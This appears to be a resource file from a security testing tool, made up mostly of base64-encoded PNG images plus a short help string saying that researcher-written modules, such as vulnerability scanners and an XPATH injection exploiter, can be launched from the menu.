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 + YII= + + + + + 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 + + + + Modules are tools written by various researcher for specific tasks. For example there are modules like SAP vulnerability scanner, WiFi router vulnerability scanner, XPATH Injection exploiter etc. You can launch modules from the main menu or by right-clicking on a log. + + + + iVBORw0KGgoAAAANSUhEUgAAAh0AAABkCAIAAACtsBWQAAAABGdBTUEAALGPC/xhBQAAAAlwSFlzAAAO + wQAADsEBuJFr7QAAIstJREFUeF7tXVuPXVeRPv+APzASGmkkpDzkAbctNb8hb9G8EHfbSG6/Q/wcfKPD + SCGg/IGBIbYbJxopMYp4QzCTpB2RRH4BjzIXmBkuDiGBwFyCWgpVq2rVqnXbe+199rl2ffp0vFatWrVq + 1V6n6uzd3cezjxeGP24O/rQh+B/DpPjfzcH/bQj+3zApPtkc/FnB6gqC0/bag9OhYSJwzt4EcNpee3A6 + NEwEztmbAC4pDlZXEJy21x6cDg0TgXP2JoDT9tqD06FhInDO3gRwSXGY/d5gMKwHXt528D4N2w6rKwbD + ugAy76fbC6srpwdpXXGfKgwGw2rAOXgbwTs0nAIU6gq3Nhy0Pe4YVgG7BEMB4eIc/Omnn/nMZ7bmlbD+ + 